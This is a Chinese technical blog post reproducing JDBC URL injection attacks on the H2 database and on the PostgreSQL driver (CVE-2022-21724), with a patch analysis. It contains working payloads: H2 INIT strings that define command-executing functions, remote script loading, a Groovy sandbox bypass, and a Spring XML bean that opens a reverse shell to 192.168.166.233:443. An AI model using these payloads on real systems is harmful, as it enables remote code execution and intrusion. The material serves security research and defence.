Java JDBC攻击

前言

JDBC是Java提供的一个接口,通常用于连接数据库,各种数据库引擎会实现这个接口编写自己的JDBC implement。常见的JDBC使用方法是在配置文件中写好JDBC使用的引擎,以及连接数据库的URL,如:

// JDBC连接的URL, 不同数据库有不同的格式:
String JDBC_URL = "jdbc:mysql://localhost:3306/test"; 
String JDBC_USER = "root"; 
String JDBC_PASSWORD = "password"; // 获取连接:

Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD); 
// TODO: 访问数据库
...

// 关闭连接:
conn.close();

在一些场景下(比如后台修改数据库配置、测试数据库连接等),用户可以控制JDBC中的URL,这可能会造成安全问题。HITB2021SIN 中的议题 <Make JDBC Attacks Brilliant Again> 列举了H2、IBM DB2、MODEShape、Apache Derby、SQLite等数据库Driver,在Connect URL可控情况下的安全问题。

1、H2 database

h2 database是一个纯Java编写的关系型数据库,可以在内存中运行,通常用在小型的应用,或者单元测 试中。有点类似于sqlite的角色,但因为它是纯Java的,跨平台使用更加方便。

1.1 H2 database console未授权访问->JNDI注入

h2 database console可以单独启动(因为h2内置了一个Web Server):
在这里插入图片描述
在这里插入图片描述
也可以集成Springboot 使用:
依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
</dependency>

application.properties文件进行相关配置,以允许访问h2 database console,路径默认为/h2-console

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

在这里插入图片描述


JNDI注入复现

在这里插入图片描述
注意:这里的配置可以自定义

  • Setting Name: Generic JNDI Data Source (名称随意)
  • Driver Class: javax.naming.InitialContext(JDK自带也不用考虑额外的驱动)
  • JDBC URL: ldap://xxxxxx/abc(恶意LDAP Server)
  • 由于是匿名的,User Name和Password均可为空

点击"Save"保存,然后点击"Connect",会加载远程CodeBase的恶意类并执行.
在这里插入图片描述
在这里插入图片描述

1.2 H2 database任意命令执行

在h2 database console,登录任意数据库后,进入管理页面后,可执行任意h2 sql语句。
参考h2 database的文档(参考[10]),可看到其支持的指令中,有以下两个可用来自定义函数的指令,函数里面可执行任意代码。

  • CREATE ALIAS
  • CREATE TRIGGER

下面使用CREATE ALIAS 来定义一个shell函数,并调用它:

CREATE ALIAS shell4 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start(); }$$;
SELECT shell4('/bin/sh','-c','open -a Calculator');

在h2中,两个 $ 符号可以表示无需转义的长字符串。

在这里插入图片描述


注意
这里有个前提,需要登录已存在的数据库,或者有创建数据库的权限。
如下图,如果没有创建数据库的权限,且test2是一个不存在的数据库名的话,点击connect,则会报下面的错误:
在这里插入图片描述
如果是Springboot方式集成h2 database的话,是没有创建数据库的权限的;
如果是h2 jar单独启动的话,默认也是不授予创建数据库的权限的,需要添加启动参数-ifNotExists才可以。

1.3 JDBC攻击->RCE

h2 console这个场景是支持执行多条SQL语句的,但是大部分场景下,用户只能控制JDBC的URL,此时是否还能执行任意命令呢?

从官方文档可了解到,

https://www.h2database.com/html/features.html#database_url
https://www.h2database.com/html/features.html#execute_sql_on_connection

可以在JDBC URL中通过INIT属性,使连接数据库时自动执行指定的DDL/DML语句,以下是官方说明:
在这里插入图片描述
可以在INIT后指定多条语句,语句之间使用分号进行分隔,同时使用反斜杠进行转义。

如下:

jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE ALIAS shell6 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start()\; }$$\;select shell6('/bin/sh','-c','open -a Calculator')

在这里插入图片描述

点击connect后,执行了命令,同时进入了管理页面。
在这里插入图片描述
也可以使用RUNSCRIPT指令运行sql脚本文件:

jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM '~/tmp/poc.sql'

在这里插入图片描述
有意思的是,在对sql文件内容读取时,使用的是URL对象,也就是说它除了支持本地文件外,还支持远程sql文件。所以可通过http指定远程的sql文件。
在这里插入图片描述

jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM 'http://192.168.166.233:8000/poc.sql'

在这里插入图片描述

1.4 JDBC攻击->无外网利用->RCE

其实1.3小节的最开始,已经介绍了一种无需出外网的利用方式,即通过分号进行分隔多个语句便可实现,而且无第三方依赖。

但是1.3 小节中另一种方式,即通过指定远程sql文件来实现RCE。但一些实际环境是不支持连接外网的,因此无法使用RUNSCRIPT FROM来指定远程sql文件。

阅读 CREATE ALIAS 文档可以发现,我们可以使用Groovy替代原生Java来定义用户函数:

If you have the Groovy jar in your classpath, it is also possible to write methods using Groovy.

Example:
CREATE ALIAS tr AS $$@groovy.transform.CompileStatic
static String tr(String str, String sourceSet, String replacementSet){
return str.tr(sourceSet, replacementSet);
}
$$

还记得Groovy吧,在2019年,@Orange 曾发表过一个Jenkins远程代码执行漏洞,其中介绍过他遇到 的Groovy沙箱,并提出了使用元编程(Meta Programming)特性绕过沙箱的方法。

简单来说,就是利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。

直接使用@Orange 在文中给出的Payload作为 CREATE ALIAS 的源代码,然后再将完整SQL语句作为 INIT 属性的值:

CREATE ALIAS shell2 AS $$@groovy.transform.ASTTest(value={
    assert new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start();
})
def x$$

在这里插入图片描述

前提是:

需要添加Groovy相关依赖.
注意要安装groovy-sql而不是groovy:

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>

1.5 JDBC攻击->无第三方依赖->RCE

上面利用Groovy的方式,前提是目标环境存在Groovy的依赖。

来看一下另一种无需出网、也无第三方依赖的方式.

前文提到,支持用户自定义函数(UDF)的除了 CREATE ALIAS,还有 CREATE TRIGGER ,它的详细介绍见官方文档(参考11). 其中有这样一段描述:

The sourceCodeString must define a single method with no parameters that returns org.h2.api.Trigger. See CREATE ALIAS for requirements regarding the compilation. Alternatively, javax.script.ScriptEngineManager can be used to create an instance of org.h2.api.Trigger. Currently javascript (included in every JRE) and ruby (with JRuby) are supported. In that case the source must begin respectively with //javascript or #ruby.

可以看到,javax.script.ScriptEngineManager 可以用于创建 org.h2.api.Trigger 对象。 javax.script.ScriptEngineManager 是Java中用于执行脚本的引擎,同时用来实现Java与这些脚本之间的交互,所以使用javax.script.ScriptEngineManager 是可以调用Java对象和方法的。而Java 8原生自带了JavaScript的脚本引擎。

关键在于,在TriggerObject#loadFromSource() 方法中,不仅编译了脚本,还调用ScriptEngine#eval()方法来执行脚本。只要是//javascript开头就会被认为是JavaScript代码。
在这里插入图片描述
在这里插入图片描述

构造JDBC URL如下:

jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start()$$

这里注意,//javascript后面有个换行符,由于在Console页面上无法输入换行,所以利用burpsuite抓包并改包(用%0d%0a%0d%0a 跟在//javascript后面都可以)。
在这里插入图片描述

2、PostgreSQL

2.1 PostgreSQL JDBC Driver RCE - CVE-2022-21724

漏洞公告:
https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
在这里插入图片描述

这同样是在JDBC Connection URL可控情况下将会出现某些安全问题。

pgjdbc根据通过authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback连接属性提供的类名来实例化插件实例。
然而,在实例化类之前,驱动程序并没有验证该类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

这里有一个使用Spring框架的开箱即用类的攻击例子:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

参考Spring Boot Connect to PostgreSQL Database Examples 来创建一个Springboot工程。(Springboot 2.6.0 + postgresql 42.3.1)

注:复现漏洞无需搭建postgresql数据库的环境。只有在复现sslfactory/sslfactoryarg属性的情况时,使用nc开启某个端口的监听来代替postgresql的端口即可!

SpringbootPostgresqlApplication.java

@SpringBootApplication
public class SpringbootPostgresqlApplication implements CommandLineRunner {

    @Autowired
    private JdbcTemplate jdbcTemplate;

    public static void main(String[] args) {
        SpringApplication.run(SpringbootPostgresqlApplication.class, args);
    }

    @Override
    public void run(String... args) throws Exception {
        Map<String, Object> objMap = jdbcTemplate.queryForMap("select * from students where stu_id=?", new Object[]{5});
        System.out.println("student=" + objMap.toString());
    }
}

这里为了复现简单,直接在application.properties里写死jdbc url:

spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.166.233:8000/poc.xml

2.1.1 socketFactory / socketFactoryArg

和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property:socketFactory / socketFactoryArg
在这里插入图片描述
在JDBC url中,先将socketFactory属性值置空,运行,查看报错:
在这里插入图片描述
SocketFactory#getSocketFactory()方法中下断点:
在这里插入图片描述
进入ObjectFactory#instantiate() 可以实例化socketFactory属性指定的类,它的构造方法最多只能有一个参数,要实现RCE,这里可以利用的是参数类型为String的。而这里的参数则来自socketFactoryArg属性。
在这里插入图片描述
如果熟悉或初学Spring编程的,也许可以想到以下两个类:

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

这两个类都可以用来通过该解析一个定义了spring bean的xml文件,去实现bean的加载。常见代码如下:
在这里插入图片描述

因此,Payload 如下:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
            <value>open</value>
            <value>-a</value>
	    <value>Calculator</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

启动项目后便可复现:
在这里插入图片描述

反弹shell:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
	    <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/192.168.166.233/443 0&gt;&amp;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

2.1.2 sslfactory / sslfactoryarg

在这里插入图片描述
其实和socketFactory/socketFactoryArg 差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S开头则表示SSL是成功支持的,则进入SSLSocketFactory()
在这里插入图片描述
在这里插入图片描述
然后进入SocketFactory#getSslSocketFactory(),后面的逻辑就跟前面 socketFactory/socketFactoryArg的一样了。
在这里插入图片描述
只要在建立连接后,返回S,便可触发。
在这里插入图片描述

2.1.3 loggerLevel / loggerFile

在这里插入图片描述
可以利用这两个属性进行任意文件写入,jdbc url如下:

spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?whatever=aaaaaaaaaaaabbbbbbbccccccc&loggerLevel=TRACE&loggerFile=pgjdbcaaaaaaaaaaaaaaaaaa.log

运行后,会生成日志文件pgjdbcaaaaaaaaaaaaaaaaaaj.log,该文件内容如下:
在这里插入图片描述
可以看到即便数据库连接出现错误,也会把连接过程的报错信息也写入你指定的日志文件里。因此这两个属性可结合低版本存在漏洞的日志组件如apache log4j2 进行利用。

比如:在JDBC url中注入log4j2 CVE-2021-44228 的payload,而数据库的连接信息都被记录在日志里,当存在漏洞的log4j2组件读取日志文件时,便会造成RCE。


但是从 pgjdbc 42.3.3 版本开始,这两个属性已不再支持。官方文档也已更新:
在这里插入图片描述

补丁分析

链接:
https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813

添加了代码逻辑验证该类是否实现了预期的接口。
在这里插入图片描述

参考

[1] https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
[2] https://www.youtube.com/watch?v=MJWI8YXH1lg
[3] http://tttang.com/archive/1462/
[4] https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg
[5] https://paper.seebug.org/1832
[6] https://github.com/su18/JDBC-Attack
[7] https://vulhub.org/#/environments/h2database/h2-console-unacc/
[8] https://www.h2database.com/html/features.html#database_url
[9] https://www.h2database.com/html/grammar.html#dollar_quoted_string
[10] https://www.h2database.com/html/commands.html#create_alias
[11] https://www.h2database.com/html/commands.html#create_trigger
[12] https://jdbc.postgresql.org/documentation/head/connect.html

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值